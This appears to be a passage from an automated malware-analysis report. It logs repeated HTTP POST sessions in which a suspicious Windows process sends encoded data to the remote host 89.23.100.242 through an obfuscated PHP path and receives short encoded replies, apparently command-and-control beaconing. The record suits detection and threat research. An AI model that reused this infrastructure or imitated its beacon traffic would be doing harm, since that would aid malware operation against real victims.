Jan 10, 2025 07:58:56.284343958 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:58:56.642354965 CET	2544	OUT	Data Raw: 5c 53 46 55 5e 5c 56 54 58 5b 57 56 50 58 5b 52 55 5d 5e 59 54 5c 51 52 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \SFU^\VTX[WVPX[RU]^YT\QRRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'B,1+Z?"<6/;<#((8Z!/T(?Y)Y*2'''_!/Y.%
Jan 10, 2025 07:58:57.028199911 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:57.157007933 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50104	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:57.286503077 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:58:57.642225981 CET	2544	OUT	Data Raw: 5c 52 46 50 5e 5e 56 57 58 5b 57 56 50 5d 5b 54 55 5d 5e 5b 54 50 51 5c 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \RFP^^VWX[WVP][TU]^[TPQ\RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'E,?<[-\?-:"<_(+ "$/U+0 *%-''_!/Y.1
Jan 10, 2025 07:58:58.039999008 CET	225	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 46 72 69 2c 20 31 30 20 4a 61 6e 20 32 30 32 35 20 30 36 3a 35 38 3a 35 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 0d 0a 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Fri, 10 Jan 2025 06:58:57 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveVary: Accept-Encoding4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50105	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:58.168611050 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:58:58.517280102 CET	2544	OUT	Data Raw: 59 5e 43 50 5e 5b 53 52 58 5b 57 56 50 5d 5b 55 55 50 5e 5d 54 5c 51 52 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: Y^CP^[SRX[WVP][UUP^]T\QRRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$;";?."?4Y/*>-<7"+(3^)=%,^$'_!/Y.1
Jan 10, 2025 07:58:58.905781031 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:58:59.040857077 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:58:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50106	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:58:59.176376104 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:58:59.533035994 CET	2544	OUT	Data Raw: 59 5f 46 54 5e 5b 56 5e 58 5b 57 56 50 5c 5b 51 55 51 5e 5f 54 50 51 5e 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: Y_FT^[V^X[WVP\[QUQ^_TPQ^RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR';"?<=\<&Y,>?[?+((]540#>$-,&'_!/Y.
Jan 10, 2025 07:58:59.979629040 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:59:00.130094051 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:59:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50107	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:59:00.284984112 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:59:00.645905972 CET	2544	OUT	Data Raw: 59 57 43 52 5b 5b 56 54 58 5b 57 56 50 5e 5b 55 55 5c 5e 5d 54 59 51 5f 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YWCR[[VTX[WVP^[UU\^]TYQ_RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$,Y<[!]<\,V(8](+ " #>/.B$-+$:'_!/Y.=
Jan 10, 2025 07:59:01.049196959 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:59:01.204114914 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:59:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50108	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:59:01.342729092 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:59:01.689182043 CET	2544	OUT	Data Raw: 5c 56 46 50 5b 5a 56 57 58 5b 57 56 50 53 5b 50 55 5d 5e 5e 54 5e 51 5c 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \VFP[ZVWX[WVPS[PU]^^T^Q\RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'/+\<=Z<& /)-W>=]+5+ 3*<!%-(3'_!/Y.
Jan 10, 2025 07:59:02.188221931 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:59:02.320224047 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:59:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50109	89.23.100.242	80	7860	C:\Windows\ShellExperiences\uAsLgsGzSk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:59:02.498435020 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:59:02.845398903 CET	2544	OUT	Data Raw: 59 53 43 50 5e 58 53 50 58 5b 57 56 50 5d 5b 54 55 5d 5e 5f 54 5f 51 52 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YSCP^XSPX[WVP][TU]^_T_QRRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$;1$?-]?6 ,<>7<$X!+P+?^<&C1-#0:'_!/Y.1
Jan 10, 2025 07:59:03.245507002 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:59:03.398781061 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:59:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	50110	89.23.100.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:59:03.516794920 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:59:03.861011028 CET	2544	OUT	Data Raw: 5c 53 43 51 5e 5c 53 57 58 5b 57 56 50 52 5b 53 55 5d 5e 5e 54 5e 51 5f 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \SCQ^\SWX[WVPR[SU]^^T^Q_RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$,'<^?6;/*?[??;#6((#Z)61 $:'_!/Y.
Jan 10, 2025 07:59:04.257208109 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:59:04.385835886 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:59:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	50111	89.23.100.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:59:04.526473999 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:59:04.876863956 CET	2544	OUT	Data Raw: 59 56 43 5f 5e 5c 56 52 58 5b 57 56 50 52 5b 52 55 51 5e 5c 54 5b 51 5f 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YVC_^\VRX[WVPR[RUQ^\T[Q_RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR';1'[>.%_<6Z,&(>?)(4#$$?07^*5$=_''_!/Y.

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	50112	89.23.100.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:59:05.085773945 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2012 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:59:05.439104080 CET	2012	OUT	Data Raw: 5c 55 43 5e 5e 5c 56 54 58 5b 57 56 50 59 5b 56 55 50 5e 5d 54 50 51 59 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \UC^^\VTX[WVPY[VUP^]TPQYRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'B/++>:?&-:<.'<+("'33_>?"F1-<$*'_!/Y.!
Jan 10, 2025 07:59:05.829966068 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:59:05.958870888 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:59:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 0f 1e 3a 0f 20 15 3c 1c 32 3c 29 52 3a 01 03 1a 28 20 38 5a 3e 3d 0e 03 2b 23 09 54 2e 06 27 10 21 15 39 1b 3f 1c 3e 19 24 3c 23 0e 32 0d 21 59 0c 13 26 5b 3d 39 31 1e 28 29 20 59 2b 32 22 07 30 33 0d 5b 25 3e 3e 09 37 3c 30 5a 3e 3a 29 55 28 1f 25 57 2c 2a 2c 5f 2a 2f 34 1f 27 1c 2a 57 0c 1f 26 56 22 0c 35 1d 22 21 21 02 33 06 06 0c 30 2b 20 56 24 2c 2b 5a 21 3a 24 01 39 29 28 10 35 07 24 1c 3d 3e 3a 57 22 22 0d 08 2b 16 20 51 22 0d 22 50 02 30 5d 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98: <2<)R:( 8Z>=+#T.'!9?>$<#2!Y&[=91() Y+2"03[%>>7<0Z>:)U(%W,,_/4'*W&V"5"!!30+ V$,+Z!:$9)(5$=>:W""+ Q""P0]Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	50113	89.23.100.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:59:05.207210064 CET	531	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue Connection: Keep-Alive
Jan 10, 2025 07:59:05.564120054 CET	2544	OUT	Data Raw: 5c 56 46 52 5e 57 56 52 58 5b 57 56 50 5f 5b 57 55 54 5e 58 54 51 51 5f 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: \VFR^WVRX[WVP_[WUT^XTQQ_RVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR$/23]?-\?]8)-?[8X?;'#4P++*/52?0'_!/Y.9
Jan 10, 2025 07:59:05.944292068 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:59:06.073045015 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:59:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	50114	89.23.100.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:59:06.205147982 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:59:06.564106941 CET	2544	OUT	Data Raw: 59 50 43 53 5e 5d 56 54 58 5b 57 56 50 52 5b 57 55 55 5e 5b 54 5d 51 5a 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YPCS^]VTX[WVPR[WUU^[T]QZRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'@,1$+--_(6(Z/:+#?6$;W+?Y=*1=]$'_!/Y.
Jan 10, 2025 07:59:06.958594084 CET	25	IN	HTTP/1.1 100 Continue
Jan 10, 2025 07:59:07.092672110 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Jan 2025 06:59:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3d 56 40 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=V@[0

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	50115	89.23.100.242	80

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 07:59:07.221076965 CET	507	OUT	POST /5/UniversalLinux5geo/JavascriptdefaultDle/Centralflower/1DbuniversalBase/CdnApi/8Base/1requestmulti/pollBaseDownloads7/3Apiwindows/AuthPrivateGeneratorProvider/processor/3Tempflower2/multiPipetrack/imageJavascriptprocessDefaultsqltest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 89.23.100.242 Content-Length: 2544 Expect: 100-continue
Jan 10, 2025 07:59:07.579878092 CET	2544	OUT	Data Raw: 59 51 43 57 5b 5d 56 5f 58 5b 57 56 50 5e 5b 53 55 5d 5e 5f 54 5a 51 52 52 56 59 50 50 5e 5d 52 59 5e 5b 55 50 57 54 56 5a 5d 53 54 5b 51 5e 5a 5a 5f 5c 5a 44 5f 5b 52 54 5b 5f 59 55 50 51 46 5f 56 5d 5d 5c 58 5b 55 5d 5e 5a 5f 47 5f 5b 57 56 50 Data Ascii: YQCW[]V_X[WVP^[SU]^_TZQRRVYPP^]RY^[UPWTVZ]ST[Q^ZZ_\ZD_[RT[_YUPQF_V]]\X[U]^Z_G_[WVP[VU\_ZQ\SUZTUR_W\SZRFR\P\PY_]W\ZVTX\]X]^XYU^[[_R^XTXX^_VVUUWZT]U[[R[^Z\[F]^_PQ]RY]VSWPY]PZZSYW_[ZV^]XR'@,2'X(=%?$X,*"?=,X(8["7;U+4)?:F%X''_!/Y.=
Jan 10, 2025 07:59:07.964337111 CET	25	IN	HTTP/1.1 100 Continue
